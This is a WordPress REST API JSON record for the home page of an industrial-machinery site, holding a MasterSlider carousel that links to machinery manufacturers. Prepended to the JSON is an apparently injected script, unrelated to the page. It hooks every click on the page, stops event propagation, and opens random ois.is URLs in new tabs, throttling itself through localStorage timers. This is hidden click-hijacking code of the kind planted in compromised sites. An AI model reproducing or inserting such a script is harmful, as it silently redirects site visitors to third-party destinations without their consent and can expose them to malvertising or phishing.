<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":6,"date":"2017-06-24T10:41:39","date_gmt":"2017-06-24T07:11:39","guid":{"rendered":"http:\/\/khanichap.ir\/en\/?page_id=6"},"modified":"2017-07-24T18:17:54","modified_gmt":"2017-07-24T13:47:54","slug":"%d8%ae%d8%a7%d9%86%d9%87","status":"publish","type":"page","link":"http:\/\/saeed-moshaver.com\/en\/","title":{"rendered":"Home"},"content":{"rendered":"<div class=\"wpb-content-wrapper\"><p>[vc_row][vc_column]<div class=\"avt_masterslider_el \" >\n\t\t<!-- MasterSlider -->\n\t\t<div id=\"P_MS6a4993a6e30e8\" class=\"master-slider-parent ms-thumbs-template ms-parent-id-1\" style=\"max-width:1000px;\"  >\n\n\t\t\t\n\t\t\t<!-- MasterSlider Main -->\n\t\t\t<div id=\"MS6a4993a6e30e8\" class=\"master-slider ms-skin-light-3\" >\n\t\t\t\t \t\t\t\t \n\n\t\t\t<div  class=\"ms-slide\" data-delay=\"3\" data-fill-mode=\"stretch\"   >\n\t\t\t\t\t<img src=\"http:\/\/saeed-moshaver.com\/en\/wp-content\/plugins\/masterslider\/public\/assets\/css\/blank.gif\" alt=\"\" title=\"\" data-src=\"http:\/\/saeed-moshaver.com\/en\/wp-content\/uploads\/2017\/07\/1.png\" \/>\n\t<a href=\"https:\/\/metalbud.com\/en\/home\" target=\"_blank\"    ><\/a>\n\n\n\t<img class=\"ms-thumb\" src=\"http:\/\/saeed-moshaver.com\/en\/wp-content\/uploads\/2017\/06\/1.png\" alt=\"\" \/>\n\t\t\t\t<\/div>\n\t\t\t<div  class=\"ms-slide\" data-delay=\"3\" data-fill-mode=\"stretch\"   >\n\t\t\t\t\t<img src=\"http:\/\/saeed-moshaver.com\/en\/wp-content\/plugins\/masterslider\/public\/assets\/css\/blank.gif\" alt=\"\" title=\"\" data-src=\"http:\/\/saeed-moshaver.com\/en\/wp-content\/uploads\/2017\/07\/01.jpg\" \/>\n\t<a href=\"http:\/\/kolbe-foodtec.com\/\"     ><\/a>\n\n\n\t<img class=\"ms-thumb\" src=\"http:\/\/saeed-moshaver.com\/en\/wp-content\/uploads\/2017\/07\/01.jpg\" alt=\"\" \/>\n\t\t\t\t<\/div>\n\t\t\t<div  class=\"ms-slide\" data-delay=\"3\" data-fill-mode=\"stretch\"   >\n\t\t\t\t\t<img src=\"http:\/\/saeed-moshaver.com\/en\/wp-content\/plugins\/masterslider\/public\/assets\/css\/blank.gif\" alt=\"\" title=\"\" data-src=\"http:\/\/saeed-moshaver.com\/en\/wp-content\/uploads\/2017\/07\/07.jpg\" \/>\n\t<a href=\"http:\/\/www.webomatic.de\/en\/\"     ><\/a>\n\n\n\t<img class=\"ms-thumb\" src=\"http:\/\/saeed-moshaver.com\/en\/wp-content\/uploads\/2017\/07\/07.jpg\" alt=\"\" \/>\n\t\t\t\t<\/div>\n\t\t\t<div  class=\"ms-slide\" data-delay=\"3\" data-fill-mode=\"fill\"   >\n\t\t\t\t\t<img src=\"http:\/\/saeed-moshaver.com\/en\/wp-content\/plugins\/masterslider\/public\/assets\/css\/blank.gif\" alt=\"\" title=\"5\" data-src=\"http:\/\/saeed-moshaver.com\/en\/wp-content\/uploads\/2017\/07\/03.jpg\" \/>\n\t<a href=\"http:\/\/frey-maschinenbau.de\/\"     >5<\/a>\n\n\n\t<img class=\"ms-thumb\" src=\"http:\/\/saeed-moshaver.com\/en\/wp-content\/uploads\/2017\/07\/03.jpg\" alt=\"\" \/>\n\t\t\t\t<\/div>\n\t\t\t<div  class=\"ms-slide\" data-delay=\"3\" data-fill-mode=\"fill\"   >\n\t\t\t\t\t<img src=\"http:\/\/saeed-moshaver.com\/en\/wp-content\/plugins\/masterslider\/public\/assets\/css\/blank.gif\" alt=\"\" title=\"7\" data-src=\"http:\/\/saeed-moshaver.com\/en\/wp-content\/uploads\/2017\/07\/06.jpg\" \/>\n\t<a href=\"http:\/\/dms-maschinen.de\/en\/\"     >7<\/a>\n\n\n\t<img class=\"ms-thumb\" src=\"http:\/\/saeed-moshaver.com\/en\/wp-content\/uploads\/2017\/07\/06.jpg\" alt=\"\" \/>\n\t\t\t\t<\/div>\n\t\t\t<div  class=\"ms-slide\" data-delay=\"3\" data-fill-mode=\"fill\"   >\n\t\t\t\t\t<img src=\"http:\/\/saeed-moshaver.com\/en\/wp-content\/plugins\/masterslider\/public\/assets\/css\/blank.gif\" alt=\"\" title=\"11\" data-src=\"http:\/\/saeed-moshaver.com\/en\/wp-content\/uploads\/2017\/08\/11.png\" \/>\n\t<a href=\"http:\/\/www.fam.be\/de\/home\"     >11<\/a>\n\n\n\t<img class=\"ms-thumb\" src=\"http:\/\/saeed-moshaver.com\/en\/wp-content\/uploads\/2017\/08\/11.png\" alt=\"\" \/>\n\t\t\t\t<\/div>\n\t\t\t<div  class=\"ms-slide\" data-delay=\"3\" data-fill-mode=\"fill\"   >\n\t\t\t\t\t<img src=\"http:\/\/saeed-moshaver.com\/en\/wp-content\/plugins\/masterslider\/public\/assets\/css\/blank.gif\" alt=\"\" title=\"12\" data-src=\"http:\/\/saeed-moshaver.com\/en\/wp-content\/uploads\/2017\/08\/12.png\" \/>\n\t<a href=\"http:\/\/www.maja.de\/\"     >12<\/a>\n\n\n\t<img class=\"ms-thumb\" src=\"http:\/\/saeed-moshaver.com\/en\/wp-content\/uploads\/2017\/08\/12.png\" alt=\"\" \/>\n\t\t\t\t<\/div>\n\n\t\t\t<\/div>\n\t\t\t<!-- END MasterSlider Main -->\n\n\t\t\t \n\t\t<\/div>\n\t\t<!-- END MasterSlider -->\n\n\t\t<script>\n\t\t( window.MSReady = window.MSReady || [] ).push( function( $ ) {\n\n\t\t\t\"use strict\";\n\t\t\tvar masterslider_30e8 = new MasterSlider();\n\n\t\t\t\/\/ slider controls\n\t\t\tmasterslider_30e8.control('arrows'     ,{ autohide:true, overVideo:true  });\n\t\t\tmasterslider_30e8.control('thumblist'  ,{ autohide:false, overVideo:true, dir:'h', speed:17, inset:false, arrows:false, hover:false, customClass:'', align:'bottom',type:'thumbs', margin:5, width:100, height:100, space:5, fillMode:'stretch'  });\n\t\t\tmasterslider_30e8.control('scrollbar'  ,{ autohide:false, overVideo:true, dir:'h', inset:true, align:'top', color:'#3D3D3D' , margin:10  , width:4 });\n\t\t\t\/\/ slider setup\n\t\t\tmasterslider_30e8.setup(\"MS6a4993a6e30e8\", {\n\t\t\t\twidth           : 1000,\n\t\t\t\theight          : 350,\n\t\t\t\tminHeight       : 0,\n\t\t\t\tspace           : 0,\n\t\t\t\tstart           : 1,\n\t\t\t\tgrabCursor      : true,\n\t\t\t\tswipe           : true,\n\t\t\t\tmouse           : true,\n\t\t\t\tkeyboard        : true,\n\t\t\t\tlayout          : \"boxed\",\n\t\t\t\twheel           : true,\n\t\t\t\tautoplay        : true,\n                instantStartLayers:true,\n\t\t\t\tmobileBGVideo:false,\n\t\t\t\tloop            : true,\n\t\t\t\tshuffle         : false,\n\t\t\t\tpreload         : 2,\n\t\t\t\theightLimit     : true,\n\t\t\t\tautoHeight      : true,\n\t\t\t\tsmoothHeight    : true,\n\t\t\t\tendPause        : false,\n\t\t\t\toverPause       : true,\n\t\t\t\tfillMode        : \"fill\",\n\t\t\t\tcenterControls  : false,\n\t\t\t\tstartOnAppear   : true,\n\t\t\t\tlayersMode      : \"center\",\n\t\t\t\tautofillTarget  : \"\",\n\t\t\t\thideLayers      : false,\n\t\t\t\tfullscreenMargin: 0,\n\t\t\t\tspeed           : 20,\n\t\t\t\tdir             : \"h\",\n\t\t\t\tparallaxMode    : 'swipe',\n\t\t\t\tview            : \"scale\"\n\t\t\t});\n\n\t\t\t\t\t\tMSScrollParallax.setup( masterslider_30e8, 30, 50, true );\n\t\t\twindow.masterslider_instances = window.masterslider_instances || [];\n\t\t\twindow.masterslider_instances.push( masterslider_30e8 );\n\t\t});\n\t\t<\/script>\n\n<\/div>[\/vc_column][\/vc_row]<\/p>\n<\/div>","protected":false},"excerpt":{"rendered":"<p>[vc_row][vc_column][\/vc_column][\/vc_row]<\/p>\n","protected":false},"author":1,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":[],"_links":{"self":[{"href":"http:\/\/saeed-moshaver.com\/en\/wp-json\/wp\/v2\/pages\/6"}],"collection":[{"href":"http:\/\/saeed-moshaver.com\/en\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"http:\/\/saeed-moshaver.com\/en\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"http:\/\/saeed-moshaver.com\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/saeed-moshaver.com\/en\/wp-json\/wp\/v2\/comments?post=6"}],"version-history":[{"count":5,"href":"http:\/\/saeed-moshaver.com\/en\/wp-json\/wp\/v2\/pages\/6\/revisions"}],"predecessor-version":[{"id":310,"href":"http:\/\/saeed-moshaver.com\/en\/wp-json\/wp\/v2\/pages\/6\/revisions\/310"}],"wp:attachment":[{"href":"http:\/\/saeed-moshaver.com\/en\/wp-json\/wp\/v2\/media?parent=6"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}